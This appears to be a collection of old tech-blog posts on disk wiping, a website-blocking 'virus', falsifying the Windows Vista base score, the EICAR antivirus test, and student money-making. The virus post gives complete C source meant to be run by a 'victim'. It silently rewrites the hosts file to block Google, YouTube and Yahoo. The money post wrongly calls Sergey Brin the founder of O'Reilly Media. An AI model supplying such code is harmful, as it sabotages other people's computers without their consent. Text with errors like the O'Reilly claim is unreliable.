How to Completely Erase a Hard Disk Drive?




A new year has begun and perhaps you have decided to perform a system upgrade or get rid of your old computer system and purchase a new one. But before you sell or donate your old computer, it is very much necessary to completely erase your Hard Disk Drive. Yes, every one of us are aware of this fact and so, we delete the contents of the hard disk either by using the DELETE key on our keyboard or by Formatting the hard disk.

Deleting and Formatting – Just Not Secure Enough

But the fact is, the data will still be on the hard disk even after deleting it or formatting the hard disk. Using the delete key on your keyboard will only remove the shortcuts to the files making them invisible to users. Deleted files still reside on the hard drive and a quick Google search will show many options for system recovery software will allow anyone to reinstate that data.

Formatting the hard drive is a bit more secure way to erase the hard disk. Formatting a disk will not erase the data on the disk, only the address tables. It makes it much more difficult to recover the files. However a computer specialist would be able to recover most or all the data that was on the disk before the reformat. For those who accidentally reformat a hard disk, being able to recover most or all the data that was on the disk is a good thing. However, if you’re preparing a system for retirement to charity or any other organization, this obviously makes you more vulnerable to data theft.

Erasing the Hard Disk through DISK WIPING

So it is necessary for us to use a 100% secure way to erase the hard disk. The secure way of erasing the hard disk is called Disk Wiping. Disk wiping is a secure method of ensuring that data, including company and individually licensed software on your computer and storage devices is irrecoverably deleted before recycling or donating the equipment. Because previously stored data can be brought back with the right software and applications, the disk wiping process will actually overwrite your entire hard drive with data, several times. Once you format you’ll find it all but impossible to retrieve the data which was on the drive before the overwrite. The more times the disk is overwritten and formatted the more secure the disk wipe is.

There are a variety of disk wiping products available that you can purchase, or freely downloaded online to perform more secure disk wipes. One of my favorite disk wiping software is

You have to use this tool by burning the iso image file onto a CD or by using a floppy disk. After burning this tool you have to boot your PC and follow the screen instructions to completely erase the hard disk.

A Virus Program to Block Websites




Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.


This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h> char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.

Hack Or Alter Windows Vista Base Score



If you are a Windows Vista user then you are very likely to be familiar with the Base Score. This score is calculated based on the computer’s hardware and software configuration. This score act’s as a rating to your PC. If you have a too low base score then don’t worry. Hacking Windows Vista’s so called Base Score is very easy. It is possible to hack this score within no time.Here are the snapshots of my own system. Actually my system’s base score is 3.7. But I have brought it up to 9.5 with this small hack. Can you believe this!!




Here is a step-by-step instruction to hack Vista Base score
:


1. Navigate to


C:\Windows\Performance\WinSAT\DataStore


2. You should see a .xml file with Assessment (Formal).WinSAT as filename


3. Right-click it and select open with ‘Wordpad’ (Not notepad!)


4. On line 12, you should see something like the following:


<SystemScore>9.5</SystemScore>

<MemoryScore>9.5</MemoryScore>

<CpuScore>9.5</CpuScore>

<CPUSubAggScore>9.5</CPUSubAggScore>

<VideoEncodeScore>5.5</VideoEncodeScore>

<GraphicsScore>9.5</GraphicsScore>

<GamingScore>9.5</GamingScore>

<DiskScore>9.5</DiskScore>




5. You can enter any number in the place where I have written 9.5. But the number should be less than 10.


6. Once you have entered the number of your choice save the file and close it.


7. That’s it. You have successfully altered your Windows Vista base score. No restart is required.

How to Test the Working of your Antivirus – EICAR Test



Have you ever wondered how to test your Antivirus software to ensure it’s proper working? Well here is a quick and easy way to test your antivirus. The process is called EICAR test which will work on any antivirus and was developed by European Institute of Computer Antivirus Research. This process can be used by people, companies and antivirus programmers to test the proper functioning of the antivirus/antimalware software without having to deal with the real computer virus which can cause damage to the computer. Here is a step-by-step procedure to test your antivirus.

1. Open a notepad (New Text Document.TXT) and copy the following code exactly onto it, and save the notepad.


EICAR Test code


X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


2. Rename the file from New Text Document.TXT to myfile.com

3. Now run the antivirus scan on this myfile.com file.

If the antivirus is functioning properly on your computer, then it should generate a warning and immediately delete the file upon scanning. Otherwise you may have to re-install your antivirus.


NOTE: Most antivirus will pop-out a warning message in the Step-1 itself

You can also place the myfile.com file in a ZIP or RAR file and run a scan on it so as to ensure whether your antivirus can detect the test string in the compressed archive. Any antivirus when scanning this file will respond exactly as it will do for a genuine virus/malicious code. This test will cause no damage to your computer even though the antivirus will flag it as a malicious script. Hence it is the safest method to test the proper functioning of any antivirus.

How Can Students Become Millionaires While Studying?



Seems far-fetched, doesn't it? Looks like an ad similar to the ones that say 'Google pays me so and so', yes? Well, you might be only half right, because nothing is impossible, or should I say, impossible is nothing in the world. It is only a matter of perspective and setting up goals. Now most of you are thinking, people can easily earn money by creating a blog, but that money definitely isn't in seven figures. Well, perhaps it's time to think outside the box.

The idea of creating a blog and earning money from it might have been considered 'thinking outside the box' a few years ago. But as of now, it is residing deep inside the box. Hence, the need of a change of perspective, or mindset if you will.

You can make some serious money if you have the right aptitude for it. Students, of course are the best fit, because they are quicker learners. But this doesn't other people can't read this post, which will discuss about some of the productive ways of earning money.

Besides creating a blog and earning through advertisements and affiliate programs, you can do many things to earn some good money. Nowadays, earning money is no longer easy. With evolving trends in the industries, skill is the need of the hour. Those who have equipped themselves with it are earning millions, while others are sitting back and waiting for people to lick on their ads (:P). So the bottom line is, people, especially students need to spend their time in more productive things, rather than playing games and chatting on Facebook.

Now don't get me wrong. I am not saying that earning through blogs is a bad idea, or that blogging is not productive. Oh no! Quite the contrary! If you have a blog, then that's excellent! It will help you all the more. But maybe, it's time to equip yourself with some new skills so you can counter anything coming your way in the future.

So the big question is, what to do? Well, here are a few suggestions.

Learn web development:

Information Technology has already taken over out lives. Already, online connectivity is the need of the many, with new trends towards online usage growing the form of cloud computing and more. If there;s one thing for certain, it's that computers and the internet are definitely here to stay. So that makes web technologies all the more important.

The amazing thing about this field is, it hasn't gone stale. Ever since Tim Breners-Lee created HTTP in the late 80s, the field has grown in importance. Look at Mark Zuckerberg. He was a student when he created Facebook. In any of you have seen his movie, The Social Network, you'll know how he first created a website called Face Mash, which earned him reputation, and he eventually got approached by some seniors who had a project in mind, which later became Facebook. See how developing a simple website turned his luck? Now, he is a $20 Billion man!

There are other countless examples! Look at Larry Page, the founder of Google. As big as it seems now, Google must have started from scratch at one point. And it didn't just become a proper search engine at once. It was built, little by little. Look where it is now. You can find countless other such examples, like Matt Mullenweg - founder of WordPress, or Sergey Brin, founder of O'Reilly Media. All of these started from zero, yet used their skills to make their companies what they are now.

There are many places you can learn the required skills from. Just Google what you want to do. Personally, I'd recommend Lynda.com, and O'Reilly Media. They are simply the best resources available on the web today!

You don't necessarily need to make a website. You could create your own tools for your blog, or make a web app and implement it on your blog/website etc. There are literally thousands of ways you can put your skills to good use.

Create an app:

For those of you who are into programming, creating an app for a smartphone is a really good idea! Not many people think about it, which makes it that much more special. Again, you can learn how to make apps fro the leading online resources such as Lynda.com and O'Reilly Media. There's really no shortage of resources one can complain about.

Now about the app itself. The important thing is to start. The challenge seems daunting, which is why most people can't get past the thinking phase. Grab any good idea that comes to your head, and run with it. Remember; for your first app, you don't really need to be unique. You can make something as simple as a currency-converter or a calculator. This will get you acquainted with the working of things. Once you have your first app, you can start thinking of a unique game or app idea. Forget Angry birds, believe me, there are people who are earning loads of money from much simpler ideas. You can make a simple app too. It'll either be popular, or it won't. But in either case, you'll learn something, and that is why you'll always be the winner.

Popular smartphone platforms are Android and iOS. So it'd be wise to create an app for them. Symbian and Blackberry platforms have since lost their touch. And as a beginner, you ought to give yourself the best chances.

Freelance projects:

If you aren't into programming, then you can always look for other work that best suits your needs. Freelance workers are being hired ever day for all sorts of works. Maybe you can show them your skills and get hired. Picking up freelance projects can really buff up your pocket. There are many freelance websites where you could look for work.

Sometimes, it might be hard to find freelance work, because you have nothing to show on your portfolio. You can, however, start with the small websites, such as fiverr, or its alternatives. These will give you a fairer opportunity to show your skills to the world. And also, they will help you get your freelancing career started.

Write articles:

Freelance writing is another profitable way to earn money. If you have a good grammar and good writing skills, then you should definitely try this. You can either write for big article directories, such as EzineArticles, or write for blogs that are looking for paid authors. Visit different blogs on a regular basis, and see which ones are looking for paid authors.

Those were some of the killer ways you could make money. It isn't easy, except for the last one, but if you get them right, you can be raking in bucks. And it never hurts to learn something that's not on your course :)
